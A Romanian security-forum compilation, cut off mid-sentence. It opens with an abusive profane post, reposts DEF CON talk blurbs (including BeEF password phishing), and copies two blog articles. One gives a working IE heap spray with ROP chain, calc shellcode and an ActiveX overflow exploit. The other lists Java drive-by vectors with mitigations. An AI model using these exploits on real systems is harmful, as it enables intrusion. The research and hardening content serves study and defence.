Nu am baut nimic, dar sa fiu al dracu de am inteles ceva din tot carnatu asta. Nu am intrat in topicu cu "Unde faci Revelionul", dar intru acum, pentru ca sunt sigur ca e mai interesant. Nu va tine nimeni cu forta aici. Faptul ca sunteti aici e un privilegiu, nu un drept si in niciun caz o obligatie. Sunt sarbatorile, stau pe RST mai mult decat ar trebui, ar trebui sa imi bag pula in voi, ca nu meritati nimic, nu sa stau pe aici.

Da, hash-urile sunt citite din /etc/shadow, deci ai nevoie de root pentru a le putea citi...

Crack Linux Hashes Using Metasploit Framework Description: In this video I will show you how to crack Linux hashes using the Metasploit framework auxiliary module and make sure that your Database is connected with Metasploit – Framework or you will get errors. I’m using John the Ripper Auxiliary modules this module will allow you to crack your hashes and you can read your password in plain text but you have to use the dictionary for the brute-force attack. This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower. John the Ripper Linux Password Cracker | Metasploit Exploit Database (DB) Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Crack Linux Hashes Using Metasploit Framework

Sploitego - Maltego's (Local) Partner In Crime Description: PDF : - https://media.defcon.org/dc-20/presentations/Douba/DEFCON-20-Douba-Sploitego.pdf Extra : - https://media.defcon.org/dc-20/presentations/Douba/Extras.zip Have you ever wished for the power of Maltego when performing internal assessments? Ever hoped to map the internal network within seconds? Or that Maltego had a tad more aggression? Sploitego is the answer. In the presentation we'll show how we've carefully crafted several local transforms that gives Maltego the ooomph to operate nicely within internal networks. Can you say Metasploit integration? ARP spoofing? Passive fingerprinting? SNMP hunting? This all is Sploitego. But wait - there's more. Along the way we'll show you how to use our awesome Python framework that makes writing local transforms as easy as 'Hello World'. Sploitego makes it easy to quickly develop, install, distribute, and maintain Maltego Local transforms. The framework comes with a rich set of auxiliary libraries to aid transform developers with integrating attack, reconnaissance, and post exploitation tools. It also provides a slew of web tools for interacting with public repositories. Sploitego and its underlying Python framework will be released at DEF CON as open source - yup - you can extend it to your heart's content. During the presentation we'll show the awesome power of the tool with live demos and scenarios as well as fun and laughter. Nadeem Douba - GWAPT, GPEN: Currently situated in the Ottawa (Ontario, Canada) valley, Nadeem is a senior research analyst at Cygnos Information Security (a Raymond Chabot Grant Thornton company). Nadeem provides technical security consulting services to various clients in the health, education, and public sectors. Nadeem has been involved within the security community for over 10 years and has frequently presented at ISSA and company sponsored seminars and training sessions. He is also an active member of the open source software community and has contributed to projects such as libnet, Backtrack, and Maltego. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Sploitego - Maltego's (Local) Partner In Crime

Hacking The Google Tv Description: PDF : - https://media.defcon.org/dc-20/presentations/Xenofex/DEFCON-20-Xenofex-Panel-Hacking-the-GoogleTV.pdf The GoogleTV platform is designed to bring an integrated web experience, utilizing the Chrome web browser and Android applications, to your television. GoogleTV is based on the Android operating system, which is mainly used in tablets and smart phones, but customized with security features not normally seen on most Android devices. The current version of the platform utilizes signatures to establish a “chain of trust” from bootloader to system applications. This presentation will focus on the current GoogleTV devices, including X86 platform details, and the exhaustive security measures used by each device. The presentation will also include video demonstrations of previously found bugs and exploits for each GoogleTV device and includes specific details about how each bug works. Furthermore, we will include interesting experiences that the team has encountered along the way. Finally the talk will be capped off with the release of multiple unpublished GoogleTV exploits which will allow unsigned kernels across all x86 devices (Revue / Sony GoogleTV). Amir "Zenofex" Etemadieh founded the GTVHacker group and has been working on the GTVHacker project from its initial start in November 2010. Amir has done independent security research in consumer electronics including the Logitech Revue, Ooma Telo, Samsung Galaxy S2, Boxee Box and services such as the 4G Clear Network finding both hardware and software flaws. Twitter: @zenofex GTV Hacker GTVHacker CJ Heres is an IT consultant during the day, tinkerer at night. He enjoys examining and repairing all sorts of devices from cars to blu-ray players. His philosophy is to use a simple approach for complex problems. CJ’s recent work includes Sony GoogleTV, Boxee Box, and Vizio Smart TV’s. Twitter: @cj_000_ Dan Rosenberg Dan Rosenberg is a vulnerability researcher who takes sick pleasure in exploiting anything with a CPU. He once punched an Android in the face. Twitter: @djrbliss Tom "tdweng" Dwenger is a software engineer who has been developing and reversing Android for the last 2 years. Tom is known for being able to quickly reverse Android applications and has been an active member of the GTVHacker team since its initial start in 2010. Twitter: @tdweng Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Hacking The Google Tv

Demorpheus: Getting Rid Of Polymorphic Shellcodes In Your Network Description: One of the most effective techniques used in CTF is the usage of various exploits, written with the help of well-known tools or even manually during the game. Experience in CTF participation shows that the mechanism for detecting such exploits is able to significantly increase the defense level of the team. In this presentation we propose an approach and hybrid shellcode detection method, aimed at early detection and filtering of unknown 0-day exploits at the network level. The proposed approach allows us to summarize capabilities of shellcode detection algorithms developed over recent ten years into optimal classifiers. The proposed approach allows us to reduce the total fp rate almost to 0, provides full coverage of shellcode classes detected by individual classifiers and significantly increases total throughput of detectors. Evaluation with shellcode datasets, including Metasploit Framework 4.3 plain-text, encrypted and obfuscated shellcodes, benign Win32 and Linux ELF executables, random data and multimedia shows that hybrid data-flow classifier significantly boosts analysis throughput for benign data - up to 45 times faster than linear combination of classifiers, and almost 1.5 times faster for shellcode only datasets. Svetlana Gaivoronski is a PhD student at Computer Systems Lab, Computer Science Dept. of Moscow State University, Russia. Svetlana is a member of the Bushwhackers CTF team which shows the following results in recent years: 2nd place in Deutsche Post Security Cup 2010, 6th place in the final of ruCTF 2012 (8th at qualification), 12th place at ruCTF Europe 2011, 4th place in the final of ruCTF 2011 (and 1st at qualification), etc. Svetlana works at Redsecure project (experimental IDS/IPS) at Moscow State University. Her primary interests are network worms propagation detection and filtering, shellcode detection, static and runtime analysis of malware. Twitter:@SadieSV lvk.cs.msu.su/~sadie Dennis Gamayunov holds a PhD and works as Senior Researcher at Computer Systems Lab, Computer Science Dept. of Moscow State University, Russia. Dennis is the leader of the small network security research group in MSU, project lead of the experimental event-driven and natively multicore Redsecure IDS/IPS, founder of Bushwhackers CTF team, with primary research and practical interests in network level malcode detection, high-speed traffic processing (including FPGA-based), and OS security with fine-grained privilege separation, SELinux and beyond. Twitter: @jamadharma http://redsecure.ru/team/denis-gamayunov PDF : - https://media.defcon.org/dc-20/presentations/Svetlana-Gaivoronski/DEFCON-20-Svetlana-Gaivoronski-Demorpheus.pdf Extra : - https://media.defcon.org/dc-20/presentations/Svetlana-Gaivoronski/Extras.zip Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Demorpheus: Getting Rid Of Polymorphic Shellcodes In Your Network

New Techniques In Sqli Obfuscation: Sql Never Before Used In Sqli Description: SQLi remains a popular sport in the security arms-race. However, after analysis of hundreds of thousands of real world SQLi attacks, output from SQLi scanners, published reports, analysis of WAF source code, and database vendor documentation, both SQLi attackers and defenders have missed a few opportunities. This talk will iterate through the dark corners of SQL for use in new obfuscated attacks, and show why they are problematic for regular-expression based WAFs. This will point the way for new directions in SQLi research for both offense and defense. Nick Galbreath is a director of engineering at Etsy, overseeing groups handling fraud, security, authentication and internal tools. Over the last 18 years, Nick has held leadership positions in number of social and e-commerce companies, including Right Media, UPromise, Friendster, and Open Market, and has consulted for many more. He is the author of "Cryptography for Internet and Database Applications" (Wiley), and was awarded a number of patents in the area of social networking. He holds a master's degree in mathematics from Boston University. Twitter: @ngalbreath client9 https://github.com/client9 PDF : - https://media.defcon.org/dc-20/presentations/Galbreath/DEFCON-20-Galbreath-SQLi-Obfuscation.pdf Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: New Techniques In Sqli Obfuscation: Sql Never Before Used In Sqli

Beef Framework Petty Theft Description: In this video i will show you how to perform social engineering after hooking the browser. Lets see if you made a website that website need a logging credential so in between you can use your Technic and use some social engineering to steal Facebook or any other password using your custom logos. This video is all about phishing using BeEF Browser Exploitation Framework. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Beef Framework Petty Theft

Heap spraying in Internet Explorer with rop nops Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6. (Just removed the un from unescape as Symantec’s Endpoint Protection doesnt like it in this section, maybe they are just too close to each other as the following unescapes are fine) <SCRIPT language="JavaScript"> var calc, chunk_size, headersize, nopsled, nopsled_len; var heap_chunks, i; calc = escape("%ucccc?"); chunk_size = 0x40000; headersize = 0x24; nopsled = escape("??"); nopsled_len = chunk_size - (headersize + calc.length); while (nopsled.length < nopsled_len) nopsled += nopsled; nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) heap_chunks[i] = nopsled + calc; </SCRIPT> From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using “substring” function. So the code would now look like this code = nopsled + calc; heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) heap_chunks[i] = code.substring(0, code.length); Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte’s heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique for (i = 0 ; i < 1000 ; i++) { codewithnum = i + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } This code would now spray on all IE browsers and execute our payload on machines that did not support DEP. With machines supporting DEP a ROP chain is required to make our code executable. For this I decided to use ROP chains generated by mona on library msvcr71.dll which gets shipped with Java 6 and is a non-ASLRed. Due to jumping to our first gadget needed to be precise I wanted to write a javascript code where our sprayed chunks will be full of rop nops saving me the trouble of calculating the precise offset as offsets might vary from different OS’es plus landing in another chunk might have another offset. Alignment is still an issue at times but just incrementing or decrementing our used return address normally solves the issue. So each chunk would only have one rop + calc shellcode at the end of the chunk instead of multiple shellcode blocks in a chunk. All I did was change the nopshed value to nopsled = unescape("%q6224?"); // 0x7c376224 RETN [MSVCR71.dll] Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up). <SCRIPT language="JavaScript"> function padnum(n, numdigits) { n = n.toString(); var pnum = ''; if (numdigits > n.length) { for (z = 0; z < (numdigits - n.length); z++) pnum += '0'; } return pnum + n.toString(); } var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code; var heap_chunks, i, codewithnum; // // !mona rop -m msvcr71.dll // * changed from default mona rop chain output // rop = unescape( "%q2e4d%q7c36" + // 0x7c362e4d, # POP EBP # RETN "%q2e4d%q7c36" + // 0x7c362e4d, # skip 4 bytes "%qf053%q7c34" + // 0x7c34f053, # POP EBX # RETN "%q00c8%q0000" + // 0x000000c8, # 0x000000c8-> ebx (size 200 bytes) * "%q4364%q7c34" + // 0x7c344364, # POP EDX # RETN "%q0040%q0000" + // 0x00000040, # 0x00000040-> edx "%qf62d%q7c34" + // 0x7c34f62d, # POP ECX # RETN "%qe945%q7c38" + // 0x7c38e945, # &Writable location "%q496e%q7c36" + // 0x7c36496e, # POP EDI # RETN "%q6c0b%q7c34" + // 0x7c346c0b, # RETN (ROP NOP) "%q2adb%q7c37" + // 0x7c372adb, # POP ESI # RETN "%q15a2%q7c34" + // 0x7c3415a2, # JMP [EAX] "%q4edc%q7c34" + // 0x7c344edc, # POP EAX # RETN "%qa151%q7c37" + // 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF * "%q8c81%q7c37" + // 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN "%q5c30%q7c34"); // 0x7c345c30, # ptr to 'push esp # ret ' // // ruby msfpayload windows/exec cmd=calc.exe J // windows/exec - 200 bytes // http://www.metasploit.com // VERBOSE=false, EXITFUNC=process, CMD=calc.exe // calc = unescape( "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" + "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" + "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" + "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" + "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" + "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" + "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" + "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" + "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" + "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" + "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" + "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" + "%q6c61%q2e63%q7865%q0065"); // chunk_size = 0x40000; headersize = 0x24; nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll] nopsled_len = chunk_size - (headersize + rop.length + calc.length); while (nopsled.length < nopsled_len) nopsled += nopsled; nopsled = nopsled.substring(0, nopsled_len); code = nopsled + rop + calc; heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) { codewithnum = padnum(i,4) + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } </SCRIPT> Here are two images from the top and bottom of one of the chunks. One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception. Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from “Vantage Linguistics AnswerWorks” contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615. <OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc"> </OBJECT> <SCRIPT language="JavaScript"> var buffer = ""; for (i = 0; i < 215; i++) buffer += unescape("%41") buffer += unescape("%23%62%37%7c") // 0x7c376223 POP EAX # RETN buffer += unescape("%42%42%42%42") // compensate buffer += unescape("%42%42%42%42") // compensate buffer += unescape("%08%08%08%08") // fill return address buffer += unescape("%a9%13%34%7c") // XCHG EAX,ESP # MOV EAX,DWORD // PTR DS:[EAX] #PUSH EAX #RETN buffer += unescape("%24%62%37%7c") // 0x7c376224 RETN for (i = 0; i < 20; i++) buffer += unescape("%43") poc.GetHistory(buffer); </SCRIPT> This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is “answerworks” without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE’s process space as I had noticed on one of my test machines that it does not load up. This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I’ll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed. References: Security Advisory SA26566 - Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow - Secunia Security Vulnerability Patch for iSEEK AnswerWorks Desktop Help Search Microsoft Security Bulletin MS07-069 - Critical : Cumulative Security Update for Internet Explorer (942615) https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ Sursa: Heap spraying in Internet Explorer with rop nops | GreyHatHacker.NET

Exploiting and mitigating Java exploits in Internet Explorer This year we’ve seen a number of 0 day Java exploits surfacing and various mitigating steps mentioned in various sites that could be taken to prevent us from being compromised. A lot of these mitigating steps vary from each other so when it comes to mitigate Java in Internet Explorer it adds doubt to which is the best mitigation steps to follow. Uninstalling Java would obviously solve the problem but that is not really an option in organisations dependant on Java. This post describes the mitigating steps available, the tests carried out and how to bypass certain mitigations. The tests have been carried out on a fully patched Windows 7 Enterprise 32bit virtual machine with Internet Explorer 8 and a vulnerable version of Java. Prevent loading of applet in IE’s “Internet Zone” This setting disables the loading of Java applets from the Internet zone. There are different keys representing different security zones [3] and the Internet zone has a value of 3. ; First set the URLAction to control APPLET behavior ; Zone 3 is the Internet zone ; 1C00 is the Java invocation policy ; "1C00"=dword:00000000 <-- disable loading of Java applet ; "1C00"=dword:00010000 <-- enable loading of Java applet ; [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] "1C00"=dword:00000000 HKEY_CURRENT_USER (HKCU) entry would take priority first. So if disabled in HKEY_LOCAL_MACHINE (HKLM) but enabled in HKCU then you will still be exploited so it is best just to apply the change in HKCU. Any external site attempting to use an applet tag will now not load the applet and a notification bar will be displayed. This mitigation would only protect from applet tag examples below. With other techniques this mitigation is ineffective. <APPLET archive="calc.jar" code="Exploit.class" width="1" height="1"></APPLET> <APPLET code="Exploit.class" width="1" height="1"></APPLET> Prevent loading of applet in all IE zones This settings stops the loading of Java in all IE browser zones. This might be a problem internally in organisations which depend on the applet tag. ; "UseJava2IExplorer"=dword:00000000 <-- disable loading of Java applet ; "UseJava2IExplorer"=dword:00000001 <-- enable loading of Java applet ; [HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Plug-in\10.7.2] "UseJava2IExplorer"=dword:00000000 An issue with this mitigation is that each time Java is installed the mitigation gets reset to its default value as a new Java version registry key is added. 10.4.0 – Java 7 update 4 10.6.2 – Java 7 update 6 10.7.2 – Java 7 update 7 10.9.2 – Java 7 update 9 Once mitigation has been made a popup would be seen first time. If the check box is ticked “Do not show this message again” it writes to the registry entry below [HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Declined Install On Demand IEv5] "{08B0e5c0-4FCB-11CF-AAA5-00401C608501}"="" This mitigation only stops exploits using the applet tag, cannot be managed by Internet Explorer zones and any new Java update means you’ll need to update the registry again. Invoking Java classids via OBJECT tag Internet Explorer can use the classid attribute OBJECT tag to load Java. Hundreds of Java classids gets registered when Java is installed. One classid is particularly dangerous as it works transparently from the Internet zone without any notification bars or alerts and has been used in actual exploits. The reason being is that this classid gets added in the preapproved list. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{8AD9C840-044E-11D1-B3E9-00805F499D93} This classid calls the latest installed version of Java Plug-in installed on the machine. Whats interesting is that this classid is already added in Windows 7 preapproved registy key without even Java being installed. To mitigate this classid needs to be killbitted [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{8AD9C840-044E-11D1-B3E9-00805F499D93}] "Compatibility Flags"=dword:00000400 To exploit it can be called like this <OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="1" height="1"> <PARAM name="code" value="Exploit.class"> </OBJECT> Another way to mitigate this classid is to disable the Java Plugin’s ActiveX control through IE’s “Manage Add-ons”. Once disabled it writes to the registry below and settings are retained even after a Java update though I prefer the killbit option. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{8AD9C840-044E-11D1-B3E9-00805F499D93}] "Flags"=dword:00000001 "Version"="*" The hundreds of other classids are mainly for backwards compatibility. So if an older specific version of Java is installed, those can be called using a specific classid, in the example below its calling Java 7 update 7 <OBJECT classid="clsid:CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA" width="1" height="1"> <PARAM name="code" value="Exploit.class"> </OBJECT> Or to invoke the latest Java 7 version installed <OBJECT classid="clsid:CAFEEFAC-0017-0000-FFFF-ABCDEFFEDCBA" width="1" height="1"> <PARAM name="code" value="Exploit.class"> </OBJECT> The way the classid versions is worked out is in say CAFEEFAC-xxxx-yyyy-zzzz-ABCDEFFEDCBA, “xxxx”, “yyyy”, and “zzzz” are four-digit numbers to identify the specific version of Java Plug-in to be used. In references [1][2] only a handful of classid’s listed below but actually when Java gets installed it installs hundreds of classids. Click here to see all the CAFEEFAC- classid’s registered on a Java 7 update 4 installation. In these references just killbitting these classids does not make sense as invoking any other classid will give the same two prompts as these ones. (screenshots given further down in the Java Web Start ActiveX control section). So if you are thinking of killbitting these classids then follow Cert’s recommendation [4] as it kills all classids upto a certain version. A Java update will register newer classids each time so if killbitting these is an option you prefer then you’ll need to keep uptodate. These classid’s are the only ones mentioned for Java version 7 and upto update 6. CAFEEFAC-0017-0000-FFFF-ABCDEFFEDCBA CAFEEFAC-0017-0001-FFFF-ABCDEFFEDCBA CAFEEFAC-0017-0002-FFFF-ABCDEFFEDCBA CAFEEFAC-0017-0003-FFFF-ABCDEFFEDCBA CAFEEFAC-0017-0004-FFFF-ABCDEFFEDCBA CAFEEFAC-0017-0005-FFFF-ABCDEFFEDCBA CAFEEFAC-0017-0006-FFFF-ABCDEFFEDCBA CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA So CAFEEFAC-0017-0006-FFFF-ABCDEFFEDCBA might have been killbitted but if you know the Java version you are attacking you could use CAFEEFAC-0017-0000-0006-ABCDEFFEDCBA CAFEEFAC-0017-0000-0006-ABCDEFFEDCBB CAFEEFAC-0017-0000-0006-ABCDEFFEDCBC Another classid registered invokes an old version of Java and to exploit using this classid you’ll have to deal with a third warning window prompt and thiswould come up everytime. To exploit <HTML> <OBJECT CLASSID="clsid:E19F9331-3110-11D4-991C-005004D3B3DB" width="1" height="1"> <PARAM name="code" value="Exploit.class"> </OBJECT> </HTML> And to mitigate killbit the control [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{E19F9331-3110-11D4-991C-005004D3B3DB}] "Compatibility Flags"=dword:00000400 Loading Java via the EMBED tag Java can also be exploited in Internet Explorer using the EMBED tag. Here applet mitigations is ineffective but killbitting/disabling the ActiveX control 8AD9C840-044E-11D1-B3E9-00805F499D93 as mentioned in previous section mitigates it. To exploit <HTML> <EMBED code="Exploit.class" type="application/x-java-applet" width="1" height="1"></EMBED> </HTML> Here the the mimetype “application/x-java-applet” points back to classid 8AD9C840-044E-11D1-B3E9-00805F499D93 Prevent automatically opening JNLP files via APPLET Java Network Launch Protocol (JNLP) could also be used for launching applets directly from JNLP files. To launch an applet from a JNLP file the “jnlp_href” parameter would need to be used in the applet tag. This could be used in a transparent driveby attack too. <HTML> <APPLET><param name="jnlp_href" value="mycalc.jnlp"></APPLET> </HTML> The jnlp file doesnt need to contain the full url path <?xml version="1.0" encoding="UTF-8"?> <jnlp href="mycalc.jnlp"> <information> <title>Calculator</title> <vendor>POC</vendor> </information> <resources> <j2se version="1.7+" /> <jar href="calc.jar" main="true" /> </resources> <applet-desc name="Calculator" main-class="Exploit" width="1" height="1"> </applet-desc> </jnlp> When calling the jnlp file via the html file the jnlp file can be any extension so say in the above code mycalc.jnlp could be called mycalc.txt. Since this uses the applet tag the above mitigation on the applet would mitigate this threat. Double-clicking on a JNLP file Even with all the browser mitigations in place it doesnt stop an attacker to email a jnlp file to the victim. Just by double-clicking the attachment would compromise the machine. <?xml version="1.0" encoding="UTF-8"?> <jnlp href="mycalc.jnlp"> <information> <title>Calculator</title> <vendor>POC</vendor> </information> <resources> <j2se version="1.7+" /> <jar href="http://192.168.1.3/calc.jar" main="true"/> </resources> <applet-desc name="Calculator" main-class="Exploit" width="1" height="1"> </applet-desc> </jnlp> One way to mitigate is to change the file association and/or block jnlp file attachments on your mail relays. HKLM\SOFTWARE\Classes\JNLPFile\Shell\Open\Command\: “”C:\Program Files\Java\jre7\bin\javaws.exe” “%1?” Prevent automatically opening JNLP files via mimetype association Using Java Web Start can be used to open a JNLP file. By default JNLP files open without any interaction from the user. For this to be exploited the web server would have to be configured with the .jnlp file extension to the mimetype “application/x-java-jnlp-file”. Then simply visiting a link say http://192.168.1.3/mycalc.jnlp would compromise your box. <?xml version="1.0" encoding="utf-8"?> <jnlp href="mycalc.jnlp" codebase="http://192.168.1.3/"> <information> <title>Calculator</title> <vendor>POC</vendor> </information> <resources> <j2se version="1.7+"/> <jar href="calc.jar" main="true"/> </resources> <applet-desc name="Calculator" main-class="Exploit" width="1" height="1"> </applet-desc> </jnlp> Signing your own app and using jnlp code below could be used but user interaction is required and you don’t need a vulnerability for this one. <?xml version="1.0" encoding="utf-8"?> <jnlp href="mycalc.jnlp" codebase="http://192.168.1.3/"> <information> <title>Calculator</title> <vendor>POC</vendor> </information> <security> <all-permissions/> </security> <resources> <jar href="mycalc_signed.jar" main="true"/> </resources> <application-desc name="Calculator" main-class="mycalc" width="1" height="1"> </application-desc> </jnlp> To mitigate we can change the default setting of EditFlags to all zeros which will then prompt the user. [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile] "EditFlags"=dword:00000000 On the Cert advisory EditFlags is a binary value but a dword value can also be used. Prevent automatically opening JNLP files via ActiveX Control Using Java Web Start ActiveX control can also be used to run a JNLP file but user interaction is required. To exploit <HTML> <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" width="1" height="1"> <PARAM name="app" value="http://192.168.1.3/mycalc.jnlp"> </OBJECT> </HTML> and the JNLP file is <?xml version="1.0" encoding="UTF-8"?> <jnlp href="mycalc.jnlp"> <information> <title>Calculator</title> <vendor>POC</vendor> </information> <resources> <j2se version="1.7+" /> <jar href="calc.jar" main="true" /> </resources> <applet-desc name="Calculator" main-class="Exploit" width="1" height="1"> </applet-desc> </jnlp> To mitigate killbit this classid [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{5852F5ED-8BF4-11D4-A245-0080C6F74284}] "Compatibility Flags"=dword:00000400 Java Deployment Toolkit ActiveX Controls This Java Deployment Toolkit classid CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA was exploited in 2010 (CVE-2010-1423). On a fully patched Windows 7 machine this has already been killbitted without even Java being installed and points to an alternate classid CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA. This classid has been killbitted in Cert’s mitigation so its recommended to keep this one killbitted too. [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA}] "Compatibility Flags"=dword:00000400 Preventing compromise So what it comes down to is just these few changes on your system prevent it from being compromised automatically by a drive by attack. [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile] "EditFlags"=dword:00000000 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] "1C00"=dword:00000000 [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{8AD9C840-044E-11D1-B3E9-00805F499D93}] "Compatibility Flags"=dword:00000400 [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA}] "Compatibility Flags"=dword:00000400 Renaming the “jp2iexp.dll” file would also temporarily mitigate the APPLET and OBJECT tag attack vectors but not the others mentioned. A Java update installation would drop the file back though so bear that in mind. Other classids that would need some interaction are also best to be killbitted [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{5852F5ED-8BF4-11D4-A245-0080C6F74284}] "Compatibility Flags"=dword:00000400 [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{E19F9331-3110-11D4-991C-005004D3B3DB}] "Compatibility Flags"=dword:00000400 Using the latest classids for the Java version would require the user to acknowledge two warnings but once accepted thereafter no warning would be given so killbitting the CAFAEFAC- classids might be worth thinking about in your managed environment. Finally JNLP files could be sent via email so you might want to take a proactive step in blocking jnlp file attachments on your mail relays. Latest Java release Following the release of Java 7 update 10 last week I thought I’d do a quick check on its new security features. There is now an updated security tab giving the user now more control on what to do. Changing the security levels makes changes to the file deployment.properties in location C:\Users\user1\AppData\LocalLow\Sun\Java\Deployment By default its set to medium but if changed to low the entry deployment.security.level=LOW is added to the file. Since this is in a low integrity folder this could be changed to LOW settings by a low privileged user. #deployment.properties #Wed Dec 19 17:48:16 GMT 2012 deployment.modified.timestamp=1355939296772 deployment.version=7.0 deployment.security.level=LOW deployment.webjava.enabled=false #Java Deployment jre's #Wed Dec 19 17:48:16 GMT 2012 deployment.javaws.jre.0.registered=true deployment.javaws.jre.0.platform=1.7 deployment.javaws.jre.0.osname=Windows deployment.javaws.jre.0.path=C\:\\Program Files\\Java\\jre7\\bin\\javaw.exe deployment.javaws.jre.0.product=1.7.0_10 deployment.javaws.jre.0.osarch=x86 deployment.javaws.jre.0.location=http\://java.sun.com/products/autodl/j2se deployment.javaws.jre.0.enabled=true deployment.javaws.jre.0.args= Un-checking the “Enable Java content in the browser” is quite drastic step as it deletes all classids, mimetypes, jnlp file association, etc. The command that gets run when un-checking and applying is "C:\PROGRA~1\Java\jre7\bin\ssvagent.exe" -disablewebjava This feature would most definitely protect from browser based attacks but also most likely break all your internal apps so not something to implement without thorough testing in an 